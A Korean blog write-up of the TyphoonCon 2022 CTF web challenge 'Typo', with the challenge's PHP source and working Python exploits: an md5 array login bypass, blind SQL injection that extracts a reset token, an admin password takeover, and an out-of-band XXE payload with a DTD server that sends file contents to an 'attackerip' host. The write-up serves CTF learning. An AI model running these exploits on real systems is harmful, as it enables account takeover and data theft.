deayzl's blog

TyphoonCon CTF [2022] Web - Typo writeup 본문

CTF writeup/TyphoonCon CTF

TyphoonCon CTF [2022] Web - Typo writeup

deayzl 2022. 6. 24. 18:23
<?php//login.php
header("Creators: @CTFCreators");
session_start();
$_SESSION['loggedin'] = 0;

if( $_SERVER['REQUEST_METHOD'] != "POST" ){
	header("Location: /index.php");
}

include 'database.php';

$uname = mysqli_real_escape_string($mysqli, $_POST['uname']);
$paswd = md5($_POST['psw']);

$sql = "SELECT * FROM users where username='$uname'";

if( $result = $mysqli->query($sql) ){
	$data = mysqli_fetch_array($result);

	if($data[2] == $paswd){
		$_SESSION['username'] = $data[1];
		$_SESSION['loggedin'] = 1;

		echo "<script>window.location.href='/profile.php';</script>";
	}else{
		echo "<script>window.location.href='/index.php';</script>";
	}
}

login.php의 코드를 보면 $_POST['psw']의 값을 md5 함수 안에 넣고 uname의 패스워드와 비교하는 것을 볼 수 있다.

이상한 uname 값을 제공해 sql문의 결과가 없는 동시에 md5 함수가 null을 return 할 수도 있지 않을까 생각해서 구글링 해봤다.

 

ctf - PHP when md5 returns null value - Stack Overflow

 

PHP when md5 returns null value

I have a question. So I was doing ctf and there was this if statement. I have no idea how to get past it. if(isset($_POST['var']) && md5($_POST['var']) == NULL) All I'm asking for is a little

stackoverflow.com

PHP's md5() function expects its argument to be a string.
import requests

s = requests.Session()
req = requests.Request('POST', 'https://typhooncon-typo.chals.io/login.php',
data={'uname':'','psw[]':''})
prepared = req.prepare()
resp = s.send(prepared)
print(resp.headers)
print(resp.content.decode())
index = resp.headers['Set-Cookie'].find('PHPSESSID=')
loginsession = resp.headers['Set-Cookie'][index+10:index+10+26]
print(loginsession)

username이 ''인 user는 없기에 sql문은 아무것도 반환하지 않고, array를 받은 md5 함수는 null을 return 한다.

 

 

로그인에 성공하고 나서 다른 php 파일을 보면

<?php//profile.php

header("Creators: @CTFCreators");
session_start();
if( $_SESSION['loggedin'] != 1){
	header("Location: index.php");
}

include 'database.php';
$uname = $_SESSION['username'];

$isAdmin = 0;
if($uname == "admin"){
	$isAdmin = 1;
}

?>

 

 

$_SESSION['username']을 admin으로 만들어줄 필요가 있음을 알 수 있다. (profile.php의 일부이다)

 

<?php//data.php
header("Creators: @CTFCreators");

session_start();
include 'database.php';

if( $_SESSION['loggedin'] != 1 ){
	die("<script>window.location.href='/index.php';</script>");
}

$uname = $_GET['u'];
$sql = "SELECT email FROM users where username='$uname'";

if( $result = $mysqli->query($sql) ){
	$data = @mysqli_fetch_array($result);
	$email = $data[0];
	echo $email;
}else{
	echo "Erorr";
}

data.php의 코드를 보면 sql injection이 가능함을 알 수 있다.

"Error"를 출력하는 것을 보니, error based sql injection으로 풀 수도 있지만, if(1=1,True,False) 를 이용했다.

 

 

sql injection으로 admin의 패스워드를 알 수 있었지만 md5 hash 값이므로, 로그인 할 수는 없다.

<?php//change.php
header("Creators: @CTFCreators");

if($_SERVER['REQUEST_METHOD'] != "POST"){
	header("Location: index.php");
}
include 'database.php';
session_start();

$uid = mysqli_real_escape_string($mysqli, $_POST['uid']);
$pwd = md5(mysqli_real_escape_string($mysqli, $_POST['psw']));
$sig = mysqli_real_escape_string($mysqli, $_POST['token']);

$sqlGetTokens = "SELECT token from tokens where uid='$uid'";

$result = $mysqli->query($sqlGetTokens);
$data = mysqli_fetch_array($result);
$sigDB = substr($data[0], 0, 4);

if( $sig == $sigDB ){

	$sqlChange = "UPDATE users SET password='$pwd' where id='$uid'";
	$mysqli->query($sqlChange);
	
	$sqlDelete = "DELETE FROM tokens WHERE uid='$uid'";
	$mysqli->query($sqlDelete);
	
	echo "<script>alert('Password Changed.');window.location.href='/index.php';</script>";

}else{
	echo "<script>alert('Token is invalid.');window.location.href='/index.php';</script>";
}

change.php의 코드를 보면 패스워드를 바꿀 수 있는 듯 하다.

이걸로 admin 계정의 패스워드를 바꿔, admin으로 로그인 해야함을 알 수 있다.

 

 

import requests

s = requests.Session()
req = requests.Request('POST', 'https://typhooncon-typo.chals.io/forgot.php',cookies={'PHPSESSID':loginsession},
data={'uname':'admin'})
prepared = req.prepare()
resp = s.send(prepared)
print(resp.content.decode())
print(resp.headers)
print(resp.content.decode())
token = ''
for i in range(4):
    bin = ''
    for j in range(8):
        s = requests.Session()
        req = requests.Request('GET', 'https://typhooncon-typo.chals.io/data.php?u=\' or if((SELECT substr(lpad(bin(ord(substr(token,'+ascii(i+1)+',1))),8,0),'+ascii(j+1)+',1)=0 from tokens where uid=\'1\'),True,False)-- ',cookies={'PHPSESSID':loginsession})
        prepared = req.prepare()
        resp = s.send(prepared)
        #print(resp.content.decode())
        if(resp.content.decode().find('admin@admin.com') != -1):
            bin += '0'
        else:
            bin += '1'
    print(chr(int(bin,base=2)),end='')
    token += chr(int(bin,base=2))
    
s = requests.Session()
req = requests.Request('POST', 'https://typhooncon-typo.chals.io/change.php',cookies={'PHPSESSID':loginsession},
data={'uid':'1','psw':'deayzlsprivatepasswordYES','token':token})
prepared = req.prepare()
resp = s.send(prepared)
print(resp.content.decode())
print(resp.headers)
print(resp.content.decode())
s = requests.Session()
req = requests.Request('POST', 'https://typhooncon-typo.chals.io/login.php',
data={'uname':'admin','psw':'deayzlsprivatepasswordYES'})
prepared = req.prepare()
resp = s.send(prepared)
print(resp.content.decode())
print(resp.headers)
index = resp.headers['Set-Cookie'].find('PHPSESSID=')
admincookie = resp.headers['Set-Cookie'][index+10:index+10+26]

forgot.php 파일에서 admin의 token을 초기화 할 수 있는데, 초기화를 한 뒤에 tokens 테이블에서 token 4자리를 얻고 change.php 에서 패스워드를 바꿔준 후 로그인을 해주면 admin의 쿠키를 얻을 수 있다.

 

 

이제 마지막 관문이 남았다.

<?php//profile.php

header("Creators: @CTFCreators");
session_start();
if( $_SESSION['loggedin'] != 1){
	header("Location: index.php");
}

include 'database.php';
$uname = $_SESSION['username'];

$isAdmin = 0;
if($uname == "admin"){
	$isAdmin = 1;
}

?>

<!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<link rel="stylesheet" type="text/css" href="./css/CTFCreators.css">
	<title>Profile</title>
</head>
<body>
	<center>
		<h1 id=uname><?php echo "Welcome ".$uname; ?></h1>
		<h1 id=email></h1>

		<a id="logout" style="width:auto;" href="/logout.php">Logout</a>
		<?php if ($isAdmin ==1){?>
		
	</center>
	    <div class="container">
	      <label for="uname"><b>UUID</b></label>
	      <input type="text" id="uuid" placeholder="Enter UUID value" name="uuid" required>

	      <label for="psw"><b>Username</b></label>
	      <input type="text" placeholder="Username" name="username" id=user>
	        
	      <button type="submit" onclick="read()">Read</button>
	    </div>
	  <form class="modal-content animate"><input type="text" id="output" disabled></form>
	  <?php }?>
	<script type="text/javascript">
		xhr = new XMLHttpRequest()
		xhr.onreadystatechange = function(){
			document.getElementById("email").innerHTML = "E-Mail: "+this.responseText
		}
		xhr.open("get","data.php?u=<?php echo $uname;?>")
		xhr.send()

		function read(){
			var xml = '<\?xml version="1.0" encoding="UTF-8"?><user><username>'+document.getElementById("user").value+'</username></user>'

			var xhr = new XMLHttpRequest()
			xhr.onreadystatechange = function(){
				var out = document.getElementById("output")
				out.value = this.responseText
			}
			xhr.open("post","read.php")
			// 
			xhr.setRequestHeader("UUID", document.getElementById("uuid").value)
			xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded")
			xhr.send("data="+encodeURIComponent(xml))
		}
	</script>
</body>
</html>
<?php//read.php

header("Creators: @CTFCreators");
session_start();
if( $_SESSION['loggedin'] != 1 || $_SESSION['username'] != "admin" ){
	die("You have to be an admin.");
}

$uuid = $_SERVER['HTTP_UUID'];

if( $uuid != "XXXX" ){
	die("UUID is not valid");
}
include 'database.php';
$xml = urldecode($_POST['data']);

$dom = new DOMDocument();
try{
	@$dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
}catch (Exception $e){
	echo '';
}
$userInfo = @simplexml_import_dom($dom);
$output = "User Sucessfully Added.";

$user = mysqli_real_escape_string($mysqli, @$userInfo->username);

$sql = "select * from users where username='$user'";

if($result = $mysqli->query($sql)){
	$data = mysqli_fetch_array($result);
	if(@count($data) != 0){
		echo "User is exists";
	}else{
		echo "User is not exists";
	}
}

loadXML, simplexml_import_dom 함수를 보고 xxe attack 을 떠올려냈다.

xxe attack으로 flag 값을 읽어오면 이 문제는 끝이 나게 된다.

 

여기서 하루동안 시간을 낭비하느라, first blood에 실패했다...

xxe attack 문제를 풀어보긴 했으나, 많이 풀어보지는 못했는데 이 점이 ctf에서 발목을 잡을줄은 몰랐다 :(

 

 

from http.server import BaseHTTPRequestHandler, HTTPServer
import time
import os

hostName = "0.0.0.0"
serverPort = port

class MyServer(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-type','Application/xml-dtd')
        self.end_headers()
        dtd = '<!ENTITY % all "<!ENTITY request SYSTEM \'http://attackerip:port/recive?%read;\'>">%all;'
        self.wfile.write(dtd.encode())
        

if __name__ == "__main__":        
    webServer = HTTPServer((hostName, serverPort), MyServer)
    print("Server started http://%s:%s" % (hostName, serverPort))

    try:
        webServer.serve_forever()
    except KeyboardInterrupt:
        pass

    webServer.server_close()
    print("Server stopped.")
uuid = '8d6ed261-f84f-4eda-b2d2-16332bd8c390'
s = requests.Session()
req = requests.Request('POST', 'https://typhooncon-typo.chals.io/read.php',
headers={'UUID':uuid},data={'data':'<!DOCTYPE nga [<!ENTITY % read SYSTEM "php://filter/convert.base64-encode/resource=/var/www/flag"><!ENTITY % dtd SYSTEM "http://attackerip:port/xxe.dtd">%dtd;]><nga>&request;</nga>'}, cookies={'PHPSESSID':'m9eool7uv9kvojiah557bkdp5c'})
prepared = req.prepare()
resp = s.send(prepared)
print(resp.headers)
print(resp.content.decode())

python의 HTTPServer 모듈로 dtd를 보내는 서버를 열어주었고, php://filter wrapper로 읽은 파일을 base64 인코딩한 내용을 다시 서버에 parameter로 보내주면 파일 내용을 알 수 있다.

( uuid는 secretkeys 테이블에 있던 값으로, 맨 처음 data.php에서 sql injection을 통해 얻었고,

flag의 경로는 robots.txt 파일을 통해 얻었다.

참고로 attackerip와 port에 본인 컴퓨터의 ip와 연 서버의 port를 넣어주면 된다.)

 

얻은 flag 값 SSD{...}을 제출하면 100점을 얻게 된다.

근데 100점은 좀 적은거 같고 200점 정도 줬으면 좋았지 않았을까 생각한다..

'CTF writeup > TyphoonCon CTF' 카테고리의 다른 글

TyphoonCon CTF [2022] Web - hidden character writeup  (0) 2022.06.24
Comments